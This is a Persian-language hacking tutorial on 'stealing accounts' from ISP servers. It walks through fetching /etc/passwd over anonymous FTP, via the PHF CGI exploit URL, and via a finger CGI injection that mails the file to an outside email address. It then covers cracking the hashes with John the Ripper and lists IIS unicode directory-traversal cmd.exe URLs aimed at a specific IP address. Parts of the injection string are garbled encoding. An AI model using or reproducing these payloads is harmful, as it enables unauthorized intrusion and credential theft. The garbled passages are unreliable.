دزديدن اكانت

خوب اين كار n راه داره اما اينو بدون كه سايتها انقدا هم درپيت نيستن كه بشه راحت ازشون اكانت پيچوند و عشق دنيا رو كرد !
من يه چندتا راه رو مي گم كه اگه سعي كني و دنبالشو بگيري حتما يادمي گيري ! ببين براي بدست آوردن يوزرنيم و اكانت هاي يك آي اس پي بايد به هاردسرور اون آي اس پي متصل بشي !در اين راه احتمالا با مشكلات زيادي برخورد خواهيد كرد .من راه كامل و بي عيبي را در اختيار شما نمي گذارم براي هكر شدن بايد تلاش بسياري كرد و اين اشاره اي است كه شما را به طرف راه درست هدايت مي كند .براي هك يونيكس از اين طريق عمل مي كنند كه با روش هايي كه ذكر خواهد شد فايل حاوي Passwordها و IDها را كه به نام Passwdمي باشد دريافت كنند .اين فايل يك فايل متني است كه در آن اطلاعات بصورت رمز در آمده .وقتي شما يك فايل Passwdرا باز كنيد چنين نوشته هايي را مي بينيد .كه بايد آن را از حالت رمز در آورد .

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh
admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh
A62i9qr:1012:10zaha3:root

در اينجا مثلا root نام IDو a623...كلمه ي عبور اما به صورت رمز در آمده مي باشد .
شايد فايل به شكل زير هم باشد .اما اين فايل كار را غيرممكني سازد.در صورتي كه به شكل زير باشد يعني در آن علامت *به جاي كلمه ي به رمز آمده به آن ها Shadowedگفته مي شود .

root:*:0:1:Operator:/:/bin/csh
administrator:/home/Common/WWW:/bin/csh admin:*:100:11:WWW
BFH:/home/user/KsN:/usr/local/bin/tcsh mashhad:1012:10:*:root

حالا از اول يكم راحت تر اين روش رو كه حمله از طريق dos هست رو ميگم
بعد از اتصال كامل بايد از آي اس پي تون يه whois بگيريد ! اگه سايت مورد نظرتون براي org , net , com است من http://www.samspade.org/ رو پيشنهاد مي كنم ! و روششم اينطوري هست :

domain.com=http://www.samspade.org/t/whois?a

كه بجاي domain.com آدرس سايت مورد نظرتون رو بنويسيد حالا يه صفحه باز ميشه كه كلي اطلاعات در مورد اين سايت نوشته ما با اونا كارنداريم فقط بايد دنبال كلمه Domain servers يا بعضي موقه ها اگه اون نبود دنبال DNS Servers مي گرديم كه يا بالاي صفحه هست يا پايين !
حالا وارد قسمت Command Prompt بشيد كه همون داس خودمونه تايپ كنيد !
FTP http://www.domain.com/
كه Domainآدرس سرور ISP هستش كه اون بالا توضيح دادم بعد از شما خواسته مي شه تا آيدي خودتونو وارد كنيد كلمه ي Anonymousرا بزنيد وقتي درخواست كلمه عبور شد كليد Enterرا بزن .اگر وارد سيستم شدي موفق شده اي در غير اين صورت جمله ي login failedدريافت مي شه . خوب پس اين دفعه Password رو آدرس يه Emailاي را وارد كن .اگر اين بار هم جواب نداد اين دفعه روش هاي زير رو امتحان كن :

FTP ftp.domain.com

خلاصه تمام تلاش خودتو براي فهميدن روش دستيابي به سيستم بكن اگر توانستيد وارد سيستم بشي به راحتي مي تواني وارد شاخه ي مشخصي رفته و فايل Passwdها را بگيري ولي احتمال دارد كه آن شاخه براي شما قفل شده باشد .براي كار با FTPبايد دستورات FTPرا بلد باشي براي اينكه دستورات رو ببينيد ? رو تايپ كنيد . حالا به شاخه ي ETCبرو مي تواني فايل passwdرا در آنجا پيدا كني .اين فايل را بگير .اگر تو اونجا نبود شاخه هاي ديگه رو امتحان كن . ولي به احتمال زياد همونجاست .حال اگر اصلا نتوانستيد وارد FTPشويد مي توانيد اين فايل را با استفاده از قايلبيت PHFبگيريد .به اين صورت كه در Internet Browserخود آدرس زير را وارد كن .

http://www.domain.com/cgi-bin/phf?Q...t%20/etc/passwd

اگر به اين صورت هم نتوانستيد آن را بگيريد مي توانيد از طريق Fingerاين كار را انجام بده .اين روش به شرطي جواب مي دهد كه Serverمورد نظر قابليت Fingerرا داشته باشد .به آدرس زير مراجعه كن .

www.domain.com/cgi-bin/finger

اگر اين آدرس كار كنه كادري جلوت ظاهر مي شه كه ازت مي خواد نام مورد نظر خود را وارد كني آدرس زير را وارد كنيد .

etc/passwd > you@somewhere.com bin/mail/ ; ID@domain.com

كه در اين آدرس IDشناسه كاربري يك شخص است كه مثلا مي توانيد از آيدي دوستتان استفاده كنيد domain.comآدرس نام حوزه ي ISPاست و آدرس

يك%20اين%20مثلا%20شماست%20درس%20Email%20¢<a/□you@somewhere.com<ĺmailto:you@somewhere.com
%20نمونه%20است%20.%20></br%20></br%20>20%.20 bin/mail/ ;-=a%20href> < amir6_6_6i@yahoo.com
etc/passwd

با وارد كردن اين دستور فايل Passwd براي من به آدرس amir6_6-6@yahoo.com
پست مي شه !

خوب حالا تا الان اگر توانسته ايد فايل را گرفته باشيد كه بهتر در غير اينصورت بايد بي خيال اين روش بشي .
حالا اگر يه فايل مثل نمونه ي اولي كه در بالا بود گير آوردي مي تواني كار خود را ادامه بدي حالا شما نياز به يك برنامه ي Password Cracker Unix داريد معروف ترين اين نوع برنامه ها John Ripper و Jack Cracker هستش .اما John Ripper سريعترين نوع اين برنامه مي باشد .اين دو برنامه را مي توانيد از همان آدرس قبلي يعني www.hackersclub.com/km/frontpage به دست بياوري ! اين روشهاي بالايي ماله سيستم هاي يونيكس هست كه الان تقريبا هفتاد درصد از يونيكس استفاده مي كنند !

روش بعدي استفاده از اسكريپت ها هست كه صد در صد عملي هست اما يكم مشكل هست !
تو اين روش شما بايد روش exploit و نوشتن اسكريپتها رو بلد باشيو بدون هيچ تروجان بك دوري مي توني وارد هارد سرور بشي !
اين روش اينطوري هست كه بعد از بدست آوردن سرور بايد آي پي سرور رو هم بدست بياري براي بدست آوردن آي پي سرور از فرمان nslookup تو داس استفاده مي كنيم !
nslookup<\:C
كه بعد از تايپ اين فرمان يه چيزايي مياد و آخرين سطر يه علامت < هست كه شما بايد جلوي اون آدرس سرور رو بنويسيد مثلا :
>com.Domain.s1 server
كه جواب ميشنويم
com.Domain.Default Server: s1
Server IP:Address
حالا بايد بانوشتن اسكريپت ها وارد هارد سرور بشيم !
من در مورد نوشتن اسكريپت ها چيزي نمي گم چون كه با يه كي دو خط نمي شه چيزي فهميد !
شما بعد از نوشتن اسكريپت مي تونيد به شكل زير ازش استفاده كني !
http://serverip/script
كه به جاي serverip آي پي سرور بدست اومده رو مي نويسيم و به جاي script هم اون اسكرپتيي كه نوشتيم حالا خيلي راحت وارد هارد سرور مي شي ! من نا اميدت نمي كنم امتحان كن يه نرم افزار برات معرفي مي كنم كه اين اسكريپت هارو سرچ مي كنه ! اما كامل نيست و زياد نميشه بهش تكيه كرد از اين http://www.astalavistalab.com/files/cgis4.zip آدرس دانلود كنيد اسمشم CGI Scanner هست !
روش كارشم اينه كه آدرس آي پي سرور رو تو قسمت Url مينويسي و از منوي rule set گزينه scan all رو تايپ مي كني ! البته مي توني مستقيما آدرس سايت رو تو قسمت Url بنويسي اما درصد خطا خيلي زياد مي شه ! من يه چند تا اسكرپت رايج رو برات مي گم ! البته براي هر سرور يه اسكريپت جواب ميده :

http://194.165.8.60/winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../..%5c../..%5cwinnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../..%5c../..%5cwinnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../..%5c../..%5cwinnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../..%5c../..%5cwinnt/system32/cmd.exe?/c+dir
http://194.165.8.60/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
ŧ:TTP://194.165.8.60/scripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20C
HTTP://194.165.8.60/scripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir

راه هاي ديگه اي هم هستن مثل تروجانهاي بک دور و ... اما هم مشكل ترن هم اينكه به خاطر فايروال ها و ... دير و خيلي سخت به نتيجه مي شه رسيد !

Sepehr.shadabi@gmail.com